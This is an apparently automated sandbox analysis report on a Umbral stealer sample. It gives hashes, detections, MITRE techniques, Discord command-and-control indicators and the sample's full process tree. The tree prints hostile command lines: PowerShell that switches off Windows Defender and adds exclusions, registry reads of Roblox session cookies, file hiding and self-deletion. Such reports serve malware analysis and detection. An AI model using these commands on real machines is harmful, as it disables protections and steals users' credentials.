umbral | 7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 01:15

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General

Target

7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe
Size

227KB
MD5

4ca902918277ffd054ecac215e6b99bf
SHA1

d5d14bcd985e9780289d97478291e4c011417acc
SHA256

7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c
SHA512

90e316478a2e2db35a3c2528b4c4c7d366daef43b11de969fff824750238b5dc706fdad63335635bd590327db3c8683163a2c77345bafd26a6cb2cc0a58ebcd7
SSDEEP

6144:eloZM+rIkd8g+EtXHkv/iD41ckD2U7X85toGnnGdXb8e1mZi:IoZtL+EP81ckD2U7X85toGnnGpr

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1968-1-0x0000000000BE0000-0x0000000000C20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe

Deletes itself 1 IoCs

pid	Process
1920	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2396	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1708	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe
2616	powershell.exe
2744	powershell.exe
2968	powershell.exe
2820	powershell.exe
1204	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe
Token: SeIncreaseQuotaPrivilege	2648	wmic.exe
Token: SeSecurityPrivilege	2648	wmic.exe
Token: SeTakeOwnershipPrivilege	2648	wmic.exe
Token: SeLoadDriverPrivilege	2648	wmic.exe
Token: SeSystemProfilePrivilege	2648	wmic.exe
Token: SeSystemtimePrivilege	2648	wmic.exe
Token: SeProfSingleProcessPrivilege	2648	wmic.exe
Token: SeIncBasePriorityPrivilege	2648	wmic.exe
Token: SeCreatePagefilePrivilege	2648	wmic.exe
Token: SeBackupPrivilege	2648	wmic.exe
Token: SeRestorePrivilege	2648	wmic.exe
Token: SeShutdownPrivilege	2648	wmic.exe
Token: SeDebugPrivilege	2648	wmic.exe
Token: SeSystemEnvironmentPrivilege	2648	wmic.exe
Token: SeRemoteShutdownPrivilege	2648	wmic.exe
Token: SeUndockPrivilege	2648	wmic.exe
Token: SeManageVolumePrivilege	2648	wmic.exe
Token: 33	2648	wmic.exe
Token: 34	2648	wmic.exe
Token: 35	2648	wmic.exe
Token: SeIncreaseQuotaPrivilege	2648	wmic.exe
Token: SeSecurityPrivilege	2648	wmic.exe
Token: SeTakeOwnershipPrivilege	2648	wmic.exe
Token: SeLoadDriverPrivilege	2648	wmic.exe
Token: SeSystemProfilePrivilege	2648	wmic.exe
Token: SeSystemtimePrivilege	2648	wmic.exe
Token: SeProfSingleProcessPrivilege	2648	wmic.exe
Token: SeIncBasePriorityPrivilege	2648	wmic.exe
Token: SeCreatePagefilePrivilege	2648	wmic.exe
Token: SeBackupPrivilege	2648	wmic.exe
Token: SeRestorePrivilege	2648	wmic.exe
Token: SeShutdownPrivilege	2648	wmic.exe
Token: SeDebugPrivilege	2648	wmic.exe
Token: SeSystemEnvironmentPrivilege	2648	wmic.exe
Token: SeRemoteShutdownPrivilege	2648	wmic.exe
Token: SeUndockPrivilege	2648	wmic.exe
Token: SeManageVolumePrivilege	2648	wmic.exe
Token: 33	2648	wmic.exe
Token: 34	2648	wmic.exe
Token: 35	2648	wmic.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeIncreaseQuotaPrivilege	1176	wmic.exe
Token: SeSecurityPrivilege	1176	wmic.exe
Token: SeTakeOwnershipPrivilege	1176	wmic.exe
Token: SeLoadDriverPrivilege	1176	wmic.exe
Token: SeSystemProfilePrivilege	1176	wmic.exe
Token: SeSystemtimePrivilege	1176	wmic.exe
Token: SeProfSingleProcessPrivilege	1176	wmic.exe
Token: SeIncBasePriorityPrivilege	1176	wmic.exe
Token: SeCreatePagefilePrivilege	1176	wmic.exe
Token: SeBackupPrivilege	1176	wmic.exe
Token: SeRestorePrivilege	1176	wmic.exe
Token: SeShutdownPrivilege	1176	wmic.exe
Token: SeDebugPrivilege	1176	wmic.exe
Token: SeSystemEnvironmentPrivilege	1176	wmic.exe
Token: SeRemoteShutdownPrivilege	1176	wmic.exe
Token: SeUndockPrivilege	1176	wmic.exe
Token: SeManageVolumePrivilege	1176	wmic.exe
Token: 33	1176	wmic.exe
Token: 34	1176	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2648	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	28
PID 1968 wrote to memory of 2648	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	28
PID 1968 wrote to memory of 2648	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	28
PID 1968 wrote to memory of 2872	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	31
PID 1968 wrote to memory of 2872	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	31
PID 1968 wrote to memory of 2872	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	31
PID 1968 wrote to memory of 2616	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	33
PID 1968 wrote to memory of 2616	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	33
PID 1968 wrote to memory of 2616	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	33
PID 1968 wrote to memory of 2744	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	35
PID 1968 wrote to memory of 2744	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	35
PID 1968 wrote to memory of 2744	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	35
PID 1968 wrote to memory of 2968	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	37
PID 1968 wrote to memory of 2968	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	37
PID 1968 wrote to memory of 2968	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	37
PID 1968 wrote to memory of 2820	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	39
PID 1968 wrote to memory of 2820	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	39
PID 1968 wrote to memory of 2820	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	39
PID 1968 wrote to memory of 1176	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	41
PID 1968 wrote to memory of 1176	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	41
PID 1968 wrote to memory of 1176	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	41
PID 1968 wrote to memory of 2240	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	43
PID 1968 wrote to memory of 2240	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	43
PID 1968 wrote to memory of 2240	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	43
PID 1968 wrote to memory of 1244	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	45
PID 1968 wrote to memory of 1244	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	45
PID 1968 wrote to memory of 1244	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	45
PID 1968 wrote to memory of 1204	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	47
PID 1968 wrote to memory of 1204	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	47
PID 1968 wrote to memory of 1204	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	47
PID 1968 wrote to memory of 2396	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	49
PID 1968 wrote to memory of 2396	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	49
PID 1968 wrote to memory of 2396	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	49
PID 1968 wrote to memory of 1920	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	51
PID 1968 wrote to memory of 1920	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	51
PID 1968 wrote to memory of 1920	1968	7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe	51
PID 1920 wrote to memory of 1708	1920	cmd.exe	53
PID 1920 wrote to memory of 1708	1920	cmd.exe	53
PID 1920 wrote to memory of 1708	1920	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2872	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe
"C:\Users\Admin\AppData\Local\Temp\7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe"
  2⤵
  - Views/modifies file attributes
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1176
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1204
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2396
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\7bc2687b0deb06309fb8b9faf78081f88cd6ee35a05b7a8ea5cfbc3594e7ea7c.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
267323885f49b80e4a55cb6cee31d587

SHA1
30cafe776d77ecf9f4319591019767306ed84954

SHA256
1318587747f414ed143e23f6d99e889242e648cec2aeddd462c2ca3f840ce621

SHA512
248d7c45fca888debd7a1cf96117bdf6c3f0e9c01af226501d473c66469c50cfa2338f273bfc3c946d36c44507056fa0f09bde3d956e3b9812d2f073ba282c75

Download Submit
memory/1204-44-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/1968-0-0x000007FEF60C3000-0x000007FEF60C4000-memory.dmp

Filesize
4KB

Download
memory/1968-1-0x0000000000BE0000-0x0000000000C20000-memory.dmp

Filesize
256KB

Download
memory/1968-2-0x000007FEF60C0000-0x000007FEF6AAC000-memory.dmp

Filesize
9.9MB

Download
memory/1968-48-0x000007FEF60C0000-0x000007FEF6AAC000-memory.dmp

Filesize
9.9MB

Download
memory/2616-7-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2616-8-0x00000000004F0000-0x00000000004F8000-memory.dmp

Filesize
32KB

Download
memory/2744-14-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2744-15-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download